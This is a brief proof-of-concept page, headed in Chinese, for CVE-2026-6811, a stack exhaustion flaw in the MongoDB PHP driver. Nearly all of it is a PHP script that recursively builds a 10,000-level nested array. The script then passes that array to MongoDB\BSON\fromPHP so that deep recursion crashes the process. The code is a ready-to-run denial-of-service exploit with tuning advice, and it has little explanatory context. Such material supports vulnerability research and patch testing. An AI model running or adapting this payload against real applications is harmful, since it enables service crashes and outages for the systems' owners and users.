CVE-2026-6811 MongoDB PHP驱动栈耗尽漏洞

<?php // PoC for CVE-2026-6811: MongoDB PHP Driver Stack Exhaustion // This script generates a deeply nested BSON structure to trigger a crash. function generateDeepNestedArray($depth) { if ($depth <= 0) { return 'end'; } return ['nested' => generateDeepNestedArray($depth - 1)]; } // Generate a document with high recursion depth (e.g., 10000 levels) // This value may need adjustment based on the system's stack size limit. $maliciousData = generateDeepNestedArray(10000); try { // Attempt to convert the malicious array to BSON // If the driver does not limit depth, this will cause a stack overflow $bson = MongoDB\BSON\fromPHP($maliciousData); echo "BSON generated. Stack overflow may not have occurred or depth was insufficient."; } catch (Exception $e) { echo "Exception caught: " . $e->getMessage() . "\n"; } ?>